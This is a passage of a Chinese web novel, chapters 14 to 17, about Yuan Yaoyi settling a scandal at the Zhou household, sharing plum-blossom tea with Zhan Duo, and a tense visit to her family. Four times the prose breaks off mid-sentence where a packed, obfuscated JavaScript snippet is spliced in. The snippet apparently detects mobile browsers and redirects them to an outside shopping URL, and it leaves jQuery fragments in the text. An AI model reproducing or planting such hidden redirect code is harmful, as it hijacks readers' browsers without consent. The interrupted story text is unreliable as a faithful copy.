纪映娘当然要给她道歉,若不是她奋力相争,早被扣上更多罪名,还会这样齐整的站在这儿? 她看去纪映娘,耐心的等着。 纪映娘脸上更加好看,指着袁瑶衣歇斯底里:“就她也配!” 周巧月面上发冷,也不多言,只转头吩咐婆子:“大呼小叫的,嬷嬷教教她咱周家的规矩。” 婆子称是,遂两步过去,抡起胳膊朝纪映娘来回扇了几记耳光。 啪啪,巴掌的脆响在院中散开,手下可是一点儿都不留情。 几巴掌下来,纪映娘蒙了,捂着火辣辣辣的脸再不敢出声,只能眼角淌泪。 周巧月看了眼,遂别开眼:“你一直住在周家,学着这边的规矩,就是这么对待周家的?好好地诗会,你给搅和了。别说你发现了那脏药,你明明可以私下交给我娘,偏偏你选则送去诗会上。是什么居心,你自己知道吧?” “我,我是想为表姐出气,”纪映娘小声道,祈求的看着周巧月,“她惹你不快……” “纪映娘,你如何知道她惹我不快了?”周巧月斥了声,“到现在还不认错。” 话落,那婆子作势又要走上去。 纪映娘连忙摆手:“我知道错了,我说,是姿姑娘跟我说的。她说有人看见袁瑶衣进了百香楼,是去买媚花散。” 而后,她在雪里转着膝盖,面对去袁瑶衣的方向:“是我故意想冤枉你,对不住。” 其实事情差不多都清楚,纪映娘不会把唯唯诺诺的周巧姿放眼中,而对方吃准了这一点,加之纪映娘对袁瑶衣看不上眼,媚花散的事便顺理成章。 袁瑶衣眉间沉淀着安静,心中亦是安宁。 见状,周巧月走过来:“袁瑶衣,母亲身体不适,我替她过来说清楚。纪映娘以后会离开周家,至于周巧姿,自然也会狠狠处置。有些事,是周家亏待了你。” “大姑娘说得明白,我知道了。”袁瑶衣应了声。 今日这一挣,周家势必会好好处理这件事。而对于周巧月,她认为除了人骄傲些,其实并没什么坏心思,这从深夜带着纪映娘过来道歉,便能看出。 周巧月颔首,冷淡的脸上缓和一些,对着婆子使了个眼色,后者便过去将纪映娘拖出了院去。 “姑娘去屋中坐坐吧。”袁瑶衣道,雪大总不好一直站在院中。 周巧月道声不用,手一抬,边上婢子会意,将一个匣子交去她手上:“上回给你的香料应是不能用了,这是盒新的。” 她将匣子往前递过去。 袁瑶衣接过,并未推辞:“谢大姑娘。” 见状,周巧月心中生出好奇:“你不打开看看,万一里面放了什么脏东西?” “不会。”袁瑶衣笑,不做过多解释。 周巧月跟着嘴角勾了下,手收回斗篷下,眼见是事情办妥,准备转身离开。 “袁瑶衣,”她背对着站在雪中,“邺国公府中,可比周家的事更复杂。” 说完,人便往前走去,前后几个人簇拥着,出了虹宇院。 袁瑶衣站在原地,看着女子身影消失在院门处,而对方的话还残留在耳边。是了,詹家那般的贵胄门第,定然不是周家能比的,生存只会更残酷。 好在,她无意留在那儿。 回到屋中,连婶开始收拾墙边的架子,上面堆着好些个礼物补品,甚至还有周老夫人送来的。 “咱们公子今儿当众护着娘子你,可让那些人看清了吧,”连婶话中有几分得意,“看以后谁还敢乱传?说什么公子不在意你,不会带你回京。要我说,真不在意,他会如此袒护?” 袁瑶衣不语,只是安静听着连婶说个没完。 她不认为詹铎多么袒护她,她和他实在说不上这个。相比的话,其实更像他公正的展示出真相。 毕竟,她从重五那里也听了不少关于他的事,人品正直公正。如此的话,后面自己的事情定下来,与他商议离开,应当也不难。 。 如今,袁瑶衣的处境变好许多,周老夫人亲自挑了几个得力的婆子过来做事,自然也不会有人再挑什么事端。 因为诗会的事,加上下雪,家塾那边停课。 不必去家塾,袁瑶衣便就待在虹宇院,像之前一样安静。 这日阿素过来探望,两人坐在屋中说话。 “你可要吓死我了,”阿素拍着胸口,阵阵后怕,“亏着你没事。” 袁瑶衣有时候回想也会觉得后怕,毕竟没有人帮她,稍一说错做错,便会丢了命:“你呀,还是这么胆小。” 阿素笑,接着叹了声:“你阿兄何时回来?他还不知你的事吧?” 说起阿兄,袁瑶衣笑容一淡。已经快两年了,阿兄在外求学没有回家,父母当然不会把这事儿告知阿兄。不告知也好,已经发生了的事,他赶回来也于事无补,他十年寒窗,别耽搁了学业才好。 见她不语,阿素又问:“你何时回门儿?” “就这两日。”袁瑶衣回道,这件事倒要马上做才行。 不知为何,现在提及家里她并不想多说。最开始出事的时候,她失魂落魄的回家,想着那里应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928422|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该可以给自己遮蔽,期望着父母的守护,可事实不是…… “瑶衣,今早上我听了一件事,”阿素小声道,“姿姑娘被送去了乡下庄子,天没亮就走了。” 袁瑶衣抬头:“这样早,路上的雪也没化啊?” 阿素点头:“可不是?她这一走,估计很难再回来了。庄子那种地方,惯是捧高踩低,她可有得受了,心怀不正,也是自己找的。” 周巧姿是闯了大祸,周家必然要给詹家交代。说起来,一辈子也算毁了,世道对女子本就苛刻,如今身上背着难听的名声,往后不会好过。 阿素还有事做,不能久留,说了几句话便离开了。 瞧着还有大半日功夫,袁瑶衣去院后摘了些新开的腊梅。她准备炒成梅花茶,送去给耿芷蝶。 一来小姑娘帮了她一把,二来还送了她礼物补品,礼道上,她这边该送点东西回礼。贵重东西她没有,耿芷蝶也不缺,便想到了新鲜的梅花茶。 伙房里,连婶帮着烧火,袁瑶衣摁着锅台,一遍遍翻着梅花,直到水分全部烘干,只剩干燥的花。 她炒得仔细,一朵朵的花儿完整且鲜亮,整个伙房弥漫着梅香。 等到彻底凉透,已是用过晚膳之后。 袁瑶衣找了个精巧的小瓷罐,将晾在盖帘上的花茶收好,最后拿盖子封上。 从伙房中出来,恰巧碰到詹铎回来。 她习惯的往后一退,弯腰福了一礼,只等着他走过,然后回正屋。 原以为会和以前一样,他这边离开,她后面回自己屋,各走各的。可没想到,詹铎走过去两步,忽的停下来,身形一侧看向她。 “你拿的什么?”他问,视线落在她捧着的小瓷罐上。 袁瑶衣看回去,道:“梅花茶,今天新炒的,公子要试试吗?” “梅花茶,”詹铎念着三个字,遂转回身去,“好,送进来吧。” 说完,他迈步离开,很快就进了正屋。 袁瑶衣微愣,低头看着手中小罐。她不过是客套一声而已,万没想到他会真的要啊。 既如此,也只能泡一壶送过去,剩下的还是要给耿芷蝶。 等她去到正屋的时候,外间的桌上已经摆了小碳炉,上头栽着水壶,里头的水已煮开,正咕噜噜的冒着气儿。 詹铎应当是有事做,在西间书房里写着什么。 袁瑶衣动作轻巧的将花茶送进茶壶中,先开始洗茶。想着泡好了便唤詹铎,她这边就回自己屋去。 开水冲进茶壶,嫩黄的腊梅花在水中重新绽开,散发出清雅的香气。 她才要往书房唤一声,抬头见着詹铎已经走出来。换上宽松便服的他,少了份惯有的清冷。 “你也坐吧。”他说着,自己先在桌前坐下。 袁瑶衣站着没动,随后见着詹铎摆开两只瓷盏,一只推到了她的手边。 “怎么不坐?”他又问,鼻间是好闻的梅香,“你自己炒的,不想尝尝吗?” 袁瑶衣低头看着茶壶,这的确是入冬来的第一壶梅花茶。可她没想过,是和詹铎一起吃。 15.第 15 章 袁瑶衣以为詹铎是有事情要说,便就坐去凳上,中间与他隔着一个圆凳。 瓷盏中斟入茶水,白瓷衬着清亮的茶汤,便见杯底躺着两枚花儿,着实好看。 她低着头,手指半捏着茶盏,等着詹铎说话。 等了一会儿,也没听见动静,于是眼帘一抬去看他,却见他此时正盯着她的手看。 “你的手怎么了?”詹铎察觉了她的目光,抬眸问道。 袁瑶衣看着自己的手,中指的指尖突兀的发红:“炒茶的时候烫了下。” 翻炒花茶,手必须在铁锅里不停翻弄,有时候手里没掌握好,必然是要被烫一下的。 “烫的?”詹铎再次看去女子的指肚,她的手指生得好看,细腻如兰,指尖上的烫红着实刺目,生生破坏了美感。 袁瑶衣把手放回去桌下,不在意道:“已经用冷水泡过,明日就会好。” 詹铎颔首,随之端起自己面前的茶,送至唇边啜了一口。茶水入喉,口中瞬时茶香满溢,让人的心神跟着生出愉悦。 “这些事让别人做就好,你不必亲自动手。”他道,“待这边的事情好了,便启程回京,估计会在月底前。” 袁瑶衣听着,小小的应了声。 月底前,那着实也没几日了,她的事的尽早做才行。 边想着,她端着自己的茶,小饮了一口。自己亲手做的茶,自然是和心意的,鼻间更是钻入沁人香气。 将茶咽下,温热在体内行走。忽的,她感觉到什么,眼睛倏地瞪大。 “咳咳……”她忙把茶盏放回桌上,抬手捂在嘴边,极力想压住咳嗽。 谁能想到,月信在这个时候来了?刚才落出的那一下,将她吓了一跳。 “怎么了?”詹铎问,然后手往前一伸,“给。” 袁瑶衣眼角咳出湿润,看去面前男子的手,他送来一方罗帕。 喉间的痒意仍未散去,加之这事儿实在难以启齿,羞赧的红润从脸颊爬上了耳廓。 “没,没事,呛了一下而已。”她解释了声,害怕再坐下去会闹出尴尬,遂道,“公子若没事,我先回去了。” 詹铎还捏着帕子,视线中是女子微慌的脸。眼睫上沾着濡湿,面颊是鲜活的红润,倒不像那个平时一味安静的她。 说起来,他是她的夫主,即便她留在正屋也无不妥,他又没撵她走。 “嗯,去吧。”他手一攥,带着那条帕子收了回来。 闻言,袁瑶衣浑身一松,利索站起来福了一礼,而后退开两步出了正屋。 她没有一刻耽搁,像是等不及要离开这儿。 詹铎盯着晃动的门帘,若有所思。明明,那晚她帮他擦洗伤口,动作又轻又缓的。 人是走了,却也留下一室的梅香。再饮一盏茶,冬梅味道更加浓郁。 “又是一年。”他低语一声,而后放下茶盏。 。 雪化了,今日是袁瑶衣回家的日子。 她只想回家打听姨母的消息,所以谢绝了于氏让她带的礼物。至于詹铎,他昨日就出去了,并不知道她回去。 等日头稍稍暖了些,她乘坐周家安排的马车,回到了万和镇。 袁家在镇子东头,普通的一进院子。周家提前派人来知会过,马车一停,等在袁家门外的小姑娘立刻跑了过来。 是袁紫玉,袁瑶衣九岁的小妹。 小姑娘见着袁瑶衣掀帘下车,欣喜的唤了声:“阿姐回来了。” 小妹这一声,叫得袁瑶衣心头一酸,跳下车便抱住扑过来的小身板。 姐妹俩牵手往家走,到了院门外,听见里面传出来说话声。 “是二婶,”袁紫玉仰着小脸儿,有些生气的嘟嘴,“正和母亲商议蓉姐姐和宋家哥哥的亲事,明明之前宋哥哥是要娶阿姐的。” 袁瑶衣往里面望了眼,隐约能看见坐在正间的人影。 要说之前,她的确是在和宋家议亲,出事后自然不会再有结果。窝在房中的那几日,堂妹袁绒还特意跑去提过议亲的事,多少带着炫耀。 她跨进院中,屋中的人才走出来。 母亲伍氏红着眼眶,因为丈夫而不敢出声,极力憋着。 院中的一切还是那样熟悉,只是墙边那株梨树,已经落了光秃。 “父亲,母亲。”袁瑶衣走上前,语气平顺的唤了两声。 袁僖站在门檐下,往院门处瞅了眼:“自己回来的?” 一旁跟出来的二婶胡氏,跟着道了声:“不是说回门吗?怎不见姑爷?” “他没来。”袁瑶衣简单送出三个字。 “瑶衣,这不合规矩啊,”胡氏道,嘴里啧啧两声,“他接了你去,好歹要回来认认亲不是,就叫你自己一人回来?” 袁瑶衣面色不变,詹铎当然不会来,她也不愿多说他的事:“是传话的人说岔了,我只是回来拿些东西。” 胡氏眯着眼在袁瑶衣脸上巡视一番,压低嗓子问:“是不是他们把你送回来了。” 场面一静,这分明就是说詹铎不要她了。 再看她还是一身清素的衣裳,根本不带高门中的丁点儿贵气,眼见就是不受待见。而那周家表公子,到现在都不明出来是谁,怕也是个猥琐卑劣的。 袁僖原本便不好看的脸色,此刻沉得跟锅底似的:“怎么回事?” “没有没有,”袁紫玉年纪小,看不得阿姐受委屈赶紧道,“有马车送阿姐回来的。” 袁瑶衣眼神往胡氏面上一扫,淡淡道:“二婶这厢对我,倒比绒妹都上心。” 胡氏被噎了一声,脸色一沉:“我这还不是为你好?万一周家不认你,咱不是还有陆员外那边……” “陆家那样好,绒妹怎么不去?我那样不好,你为何捡我不要了的亲事?”袁瑶衣不欲再与人多言,撂下一句回了自己房间。 胡氏气得脸色发青,抬手对着袁瑶衣的背影指指点点,嗓子噎的说不上话。 伍氏怕家里再闹开,忙将人劝回屋中,回头对着女儿叹了一声气。 袁瑶衣回到自己房间,放下布帘隔绝了外面。 陈旧的窗棂开着一道缝,为昏暗的室内送进些许光线,同时进来的,还有初冬的凉气,冷意袭人。 房间并不大,一张床占了大半的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941974|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置,墙角立着三层的木架,放着些针线物什。 心里惦记着姨母那封信,但见父母的态度…… 她叹了一气,料想过回家来不会平顺,没想到比她离开那日还要冰冷。父亲眼中,她始终是个辱没门楣的不孝女。 他没想过,那件事她也不愿啊。 熟悉的家如今充满窒息,她不想久呆。外间,二婶坐着不走,净说着堂妹袁绒的亲事如何,那声量生怕她听不见。 “阿姐别走,”袁紫玉拽上袁瑶衣的衣角。 “姨母的信还在吗?”袁瑶衣心疼的摸着小妹后脑,到底记得自己回来是要做什么。 “在父亲房中,我去找找看。”袁紫玉点头,说着撩开帘子跑了出去。 袁瑶衣跟着也走出来。 外间,胡氏已经离开,袁僖耷拉个脸坐在正座。 伍氏性情懦弱,什么事都不敢忤逆丈夫,哪怕心疼女儿,也是暗处独自垂泪。 没一会儿,袁紫玉跑过来,手里攥着一叠信纸:“阿姐,姨母的信。” 袁瑶衣往前两步,伸手接过。 谁知才动,斜刺里突然伸过来一条手臂,将那封信截走。 是袁僖,袁瑶衣惊诧抬头,看见了一脸怒气的父亲。 袁僖手里一撕,脆弱的信纸便已粉碎,遂又揉皱成了一团,积压了一日的怨气迸发出来,拿纸团狠狠砸去伍氏的脸上。 “都是你那个好姐姐,将女儿拐带成这样,毫无规矩,做出丑事!”他骂得理直气壮,所有责任便是别人造成。 伍氏缩着脖子,一语不发。 袁紫玉吓得躲去袁瑶衣身后,惊恐瞪着一双眼睛。 恰在这时,外面有人喊了声,是袁绒进了院门。 她穿着新衣,笑吟吟站着:“大伯,宋家人到了,让你过去吃酒。” 袁僖压下怒气走出门,往隔壁看了眼。兄弟两家,差别怎么就这么大。 屋中,袁瑶衣安抚好妹妹,去捡地上的纸屑。 袁绒婷婷走进来,站在门边看着:“阿姐,一道过去坐坐吧。” 伍氏忙道不用,顺着夸了句袁绒衣裳好看。心中不免酸涩,这桩姻缘原是属于她女儿的。 袁绒得意,又在那儿说宋家带了好些东西来,到时给这边送些过来。 正说得起劲儿,外头院门处有了动静。几人看过去,见有人抬着偌大的箱子进来院中,前后四抬。 “这,怎的送这么多来?”袁僖面上惊讶,瞧着那几抬箱子。 宋家何样底细他知道,又不是与他家定亲,抬这么多来,莫不是走错了门? 同样不解的还有袁绒,手指着自家那边:“你们是不是错了门儿?” “没错。”一声清亮的声音传来,接着大门进来个十六七岁的少年。 他挥挥手,那些个抬箱的伙计退去一旁,将进院的路腾出来。 袁瑶衣站来门边,看着重五冲自己一笑。 再往院门看去,一道身影稳步迈进门槛,崭新利落的素青色锦袍,腰间坠着的环形玉佩。 袁瑶衣愣住。 詹铎,他怎么来了? 16.第 16 章 “公子?”袁瑶衣唤了声,清凌的嗓音飘到院中。 她完全没想到詹铎会出现,还带了四抬箱子,他来此为何?他不是有很重要的事忙吗? 袁家的人听了,俱是看去那位气质矜贵的男子,心下一想,便猜到是谁。 袁瑶衣迈过门槛,迎到院中,站去詹铎对面:“公子怎么来了?” “来家中看看。”詹铎长身玉立,惯常的说话简单。 这不算宽敞的院落中,女子纤瘦的身形立在那里,衣着简单,在这寒冷天儿里,莫名呈现出一种柔和。 他昨日没在周家,并不知道她今日回门,其实若细究的话,他大概打从开始也没在意吧。这还是重五提了一句,他方才记起这桩。 所幸来得及,吩咐人准备好过来一趟。 他作为夫主,来了,也是给她家里一个交代。 两人相隔几步,面对而站。 袁家人此时缓过神来,几双眼睛落去詹铎身上打量。 尤其,袁绒瞪大眼睛一眨不眨。她知道袁瑶衣在外面出了事,原以为是个猥琐卑劣男人,却不想是如此人物,真真从未见过的俊美郎君。 众人目光中,詹铎面色自若,身形往袁家夫妇一转,弯腰拱手作礼:“袁先生,袁夫人,晚辈詹铎这厢有礼。” 方才还怒气冲天的袁僖,气势消失了个干净。 “不用多礼。”他僵硬的挤出笑容,双手伸出去做着要扶的姿势。 詹铎站直,随之重新看去袁瑶衣:“需要做什么,吩咐重五便可。” 袁瑶衣没什么事要吩咐,只是不想再呆着这里:“没什么事,天不太好,想着尽早回闳州府。” “也好。”詹铎应下。 这时,胡氏闻风而来:“别急着走,留家里坐坐,天这么冷,怎能连盏茶都不吃?” 她边走边呵呵着笑,一张利索的嘴皮子刀片似的。眼睛亦是盯着詹铎看,心中难免拿着和自己的女婿对比。 再看院中的四抬箱子,比宋家带来的大且气派,脸上的笑几乎维持不住。 “对,”醒过神来的袁僖跟着开口,挺了挺胸脯,拿捏起一点儿长辈的架势,“也认认家里人。” “我是瑶衣的二婶,这是她堂妹,绒儿。”胡氏笑着,顺着把自己女儿往前一拉。 袁绒盯着詹铎的脸,脸颊泛红,羞赧嗫嚅唤了声安好。 詹铎站在那儿,被人围着说话,清疏的眼中不喜不怒,只简单客气答话,应下去隔壁稍坐坐。 像一阵乱风刮过,所有人簇拥着詹铎去了隔壁,院子跟着便安静下来。 墙根下,还摆着那四抬箱子。 “阿姐,方才的就是姐夫吗?”袁紫玉问,眼睛盯着空空的院门。 袁瑶衣笑,嘴角印着清浅的弧度:“别瞎说。” 与世家的差别在那里,对詹铎这样的世家子弟,他们只能用尊称。哪怕他现在留下来吃酒,也不是为了她,而是他自身的世家风度。 袁紫玉点头悄悄道:“我有些怕他。” “他的人应该是正直的。”袁瑶衣摸摸小妹的发顶,小孩子不会说谎,詹铎身上却有一种极重的压迫感,许是上过战场的原因吧。 两人并着往屋里走,袁紫玉眨巴两下眼睛:“阿姐,要不写信给阿兄吧,他知道了一定会回来,到时你就能回家。” “不成,”袁瑶衣摇头,“阿兄在外地求学,明年就是秋闱,你莫要搅扰他。” 袁紫玉小脸皱着,嘟哝着:“我不想你走,二婶说你会被人磋磨死……” 小姑娘说不出口,舌头磕巴着。 袁瑶衣能猜到那些传言有多难听,笑笑道:“你信我还是信二婶?” “信阿姐。”袁紫玉想也不想。 袁瑶衣现在已经想通,家里不会留她。除了父亲在意的袁家名声,还有阿兄的科考。 她身为妹妹,要是没了声誉,必会连累阿兄。科考严苛,要看才学,更要看人本身的品性,以及家中的作风。 阿兄的确会帮她,可若到时人回来,无非又是一番闹腾,改变不了什么。 所以,跟詹铎走,是目前唯一的路。 家中难得平静,袁瑶衣坐在房间的桌边,拼着那封被父亲撕毁的信。 手边还有一本小册子,黄色糙纸封皮,薄纸的内页,只有常见书册的一半大小,一看便知是自己装订。 袁紫玉拿着小册子翻看,指着其中一页:“阿姐,这是蒲草吗?” “是,”袁瑶衣探过来一眼,随后继续平展着碎纸,“我记下来,就会知道它有什么效用,可以和什么一起入药。” 袁紫玉噗嗤笑了出声,小手点着纸页上的一个圈:“蒲字不会写吗?” 袁瑶衣跟着笑:“不会,所以画了一棵蒲草。” 女子进不得学堂,以前还能跟着兄长学几个字。自从兄长去了外地求学,而她大了,父母也不再让她出门,能学的东西越来越少,很多还是以前祖父留下来的药草记录,多也残缺不全。 过了一会儿,院子里传来说话声。 袁瑶衣以为是詹铎回来,透过窗缝看出去,却见是母亲和胡氏。 两个人站在墙边,看着地上的四口箱子。 眼看胡氏弯下腰去,双手一掀,便开了其中的一只。边上,伍氏想制止,终究抬抬手又落了回去。 袁瑶衣眉头一簇,起身从桌边离开,快步去了院中。 那箱子里面装着绸缎布料,胡氏也不见外,抱起一卷就往自己身上比,嘴里啧啧着:“这正好可以用来做年衣。” 然后又指着另一块,说是适合伍氏,底下的适合袁绒。自己那里叭叭几句话,这些绸缎已经有了各自的主儿。 伍氏在一旁,轻声说:“这些是瑶衣的。” “她是咱袁家的女儿,东西进了门,还不是大哥说的算。”胡氏满不在乎道,一撇头见着袁瑶衣走了来,“瑶衣,你说二婶说得对吧。” 袁瑶衣走过去,低头看着还想翻箱的胡氏,知道这句话是真的。 凭袁僖那好面子的脾性,胡氏说上几句奉承话,定会送隔壁去不少。 胡氏挪步去另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961358|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只箱子前,伸手就想掀开,袁瑶衣一手摁在上面,才开的箱盖硬生生重新合上。 “你做什么呢?”胡氏习惯的绷起脸,而后咧开嘴笑,“瑶衣,你绒妹正在议亲,从这儿拿几件,也让她多点儿嫁妆。” 袁瑶衣的手压在上面,唇角微动:“恐怕不行。” 这个二婶的厚脸皮当真了得,前脚对她阴阳怪气,后脚便心安理得拿东西。 是欺她性子温和,没有脾气? 胡氏面上一僵,帕子一甩站起身来:“袁家是白把你养这么大,一家人不帮衬,说出去被人笑话死。你堂妹嫁妆多,也是给你面子增光不是?” “再者,以后你有什么事,家里也会帮衬你,有来有往的才是长久。” 胡氏提着嗓门,那声音就怕传不到隔壁去。 一旁的伍氏拉了把袁瑶衣,示意她别闹开来:“等你父亲回来再说。” 袁瑶衣皱眉,抽回自己的手臂。 用着她的时候,是家人;用不着她的时候,她就是辱没家门。 “娘,”她淡淡开口,语气平静,“我知家中已经收了聘银,那这些箱子该还回去。” 胡氏一听,脸上全是不可思议:“你脑子坏了,送回去?这么多东西,既送来便是给家里的,是詹公子孝敬长辈的。” “二婶怎知是给家里的?”袁瑶衣反问,“绒妹是要出嫁,可我也要离家了,没人想过,我也需要带点儿什么吗?” 伍氏听了,悲从心来,把第一只箱子盖好:“瑶衣的话不无道理,咱家已经收了聘银。” 这些箱子是詹铎带来的,胡氏确实没有资格处理,但是也放不下这口肥肉,便想着要不要去隔壁找自己男人和袁僖。 “那就让大哥做主吧。” 正好,重五走进院来,瞧着墙边的袁瑶衣,笑着道声:“瑶衣娘子,公子让准备下,咱们回去。” 人来得正好,袁瑶衣往前走两步,手指着箱子问:“重五,这些箱子公子是怎么吩咐的?” 重五跟在詹铎身边多年,心思早练的活络机灵,稍一琢磨便知道了个大概。 他笑着:“照公子吩咐,箱里头这些都是给娘子你的。” “那便是我能带回去咯?”袁瑶衣问。 重五点头说是,并问要不要抬出去装回车上。 袁瑶衣不顾胡氏难看的脸,让重五去找人将箱子装车。 “娘,我回屋收拾去了。”她浅浅道声,兀自转身回了自己房间。 身后,胡氏没了办法,心疼的看着箱子一个个抬出院子,只能拉着伍氏一遍遍的唠叨。 房中,袁瑶衣开始收拾包袱,没一会儿,听见脚步声进屋。 她以为是母亲进来劝说,一转头看见詹铎立在门边。 外面天色发暗,他身量高,立在那儿,仿佛头顶已经贴着顶棚。背着光,看不清他的脸。 “公子,”她将原先铺展开的碎信纸,草草塞进包袱里,“能否再等一会儿?” 随着她的站起,衣袂带出一缕轻香,是一种略有清爽的药香。 17.第 17 章 “好。”詹铎应下。 下一瞬,便见少女轻快的身形从身旁掠过,去找她那站在墙角的小妹。 鼻间的淡香还萦绕着未散,待要转身的时候,视线不经意瞥见地上落着一本小册,想是方才袁瑶衣走得急拉下的。 詹铎弯下腰去捡了起来。 站起来,正好看见那面院墙下,袁瑶衣同小妹告别。小姑娘不舍的流泪,扯着姐姐一个劲儿摇头,而袁瑶衣亦是红了眼眶,跟着落了一串泪珠。 这是他第一次看见她哭,当日的周家诗会,她面对那般的困难都不曾哭过。 到底是个柔弱女子,心底软和。往后跟着他去京里,自此与家人远隔千里,他这边是该补偿她的。 天色不早,没再耽搁功夫。 袁瑶衣提着小小的包袱走出家门,外面不少人围着看,像当日她被带走时一样。 不过,这次没有了难听的刻薄话,竟还隐约听见几声艳羡的话,说她得了个好郎君。 袁瑶衣已经不在乎这些话,径直去了马车旁。而那四只箱子已被重新装上马车,绳索捆绑了结实。 胡氏不甘心的站在边上,脸色要多难看有多难看。还是袁绒跑来,劝着将人往回拉。 袁瑶衣一扭头,瞧见了跟着袁绒一起来的宋成和,便是先前准备和自己议亲的人。 有些事不能强求,人家再与袁绒议亲也是正常。她心里看得开,倒也不觉得有什么难堪。 倒是宋成和,神情微僵,上前两步唤了声:“袁家妹妹,是我母亲的意思,我其实……” “二婶不必送了,回去吧。”袁瑶衣不欲听宋成和说什么,转身准备上车。 见她淡然离开,宋成和心中的愧疚和不甘涌出来,竟是跟上去两步。 一直看着这些的袁绒面色铁青,手攥着,几乎掐透掌心,这不是让所有人看她的笑话? 袁瑶衣察觉到宋成和的跟近,脚下一抬,直接踩上马凳,旋即站上了车板,一片衣角都不想碰到对方。 掀帘准备进车的时候,余光中,詹铎站在院门下,正看着这边。 终于进了车内,帘子一落隔绝开外面,人瞬间觉得清净。 她坐下,心中放不下小妹,手指揩着眼角。 正好,车帘此时被掀开,一缕冷风从外面进来,她顶着发红的眼睛看去。 是詹铎,他也上了马车。 袁瑶衣没想到他会上来,他是骑马来的。没想太多,她抱着自己的包袱,利落的贴去靠车门的角落坐好,给他腾出地方。 詹铎立在车门边一顿,看着偌大的空间,又看眼缩在厢角的袁瑶衣。这样宽敞的空间,她倒似怕被挤到般。 他绕过正中的小几,他去了正中位置上坐好。 一切就绪,队伍从袁家所在的街巷出来,开始了回闳州的路。 车身轻轻摇晃,回程快的话,也得两个时辰,等回到周家差不多已是夜里。 两人同乘一车,中间隔着些距离,耳边是车轮行进的辘辘声。 车厢了暗,车壁上挂了一盏羊角灯,温和的光洒在每一处。 詹铎坐在灯下,因为灯光,他那张清冷的脸跟着柔和了些。细长的手指捏着一封信看,另只手落在膝上,食指一下下的敲着。 接着,他从边上的抽屉取了笔墨,在信上标注着什么。 袁瑶衣一直等到他把信折起,才轻声开口:“公子,那四只箱子你收回去吧。” 她没有想要这些东西,也不知道怎么处理,干脆还给他。 詹铎将信塞进袖中,手指不期然触到一方书角:“本就是给你的,留着吧。” 他送出去的东西,还没有要回来的道理。 袁瑶衣为难,她现在是住在周家,哪里来的地方给她放箱子? 正想着怎么再开口的时候,面前探过来一只手。 “是你的吧?”男人疏淡的嗓音响起,手中捏着捡到的那本小册子。 册子还没他的手掌大,装订的倒是规整干净,只是上头的字不太行,偏柔弱无力。 袁瑶衣一看,正是自己记载药草的小册,想是方才着急掉了。 “是我的,谢公子。”她伸手接了过来,手指习惯的翻了几页。 “为什么那里空着?” 她听见对面的人问了声,去看他,发现他盯着自己手里册子。可巧,那一页上有她不会的字,她便先空着,想日后学会了字再补上:“这里记载的是花楹,楹字我不会写。” 詹铎伸手,重新把册子拿过去,垂眸看着。那一页上果然是草药记载,却也明白详实,可见用心。 他把册子摆去几上,然后拿起笔,在那空白处上填了一个“楹”字。 “这个字是不容易记,你要是按照笔顺来,多练几遍也就记住了。”他说着,运笔稍慢,有些故意让她看笔顺的意思。 袁瑶衣从角落往前移了移,身形前倾靠近小几,明亮眼睛盯着詹铎的笔尖。 他的字很好看,刚劲有力,板正的落在纸上,两张对比,和她的那笔字实在是天壤之别。 詹铎写完,手指摊平着册子推回给袁瑶衣:“好了。” 袁瑶衣拿过来,看着上头的字,墨迹未干,方正清楚,由衷道:“公子的字真好看,我阿兄的字也好看。” 对于袁家的情况,之前詹铎并不清楚,一直都是周家帮他处理这件事。倒是第一次,她对他说处家中的事情。 原来除了小妹,她还有一个兄长。 “我可以用笔墨吗?”袁瑶衣问了声。 詹铎看下眼前,便将笔和砚台一并送去对面,当是答应。眼见女子嘴角弯出笑意,犹如柔软的月季花瓣。 然后看她坐到几前,翻着小册,果然里头不少地方因为字不会而空着,有的干脆画了图标注。她找了一页,遂拿笔在上面写着,一笔一划的认真。 他的目光落在她手上,看着她写出“楹”字,心道原来如此。 柔和光线中,她的脸显得格外恬静,分明上车前,还抱着小妹在哭。 “改了。”袁瑶衣道声,把笔搁在砚台边,抬头正对上詹铎的目光,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976723|134955||http|test|mini|href|location''.split(''|''),0,{})); () { 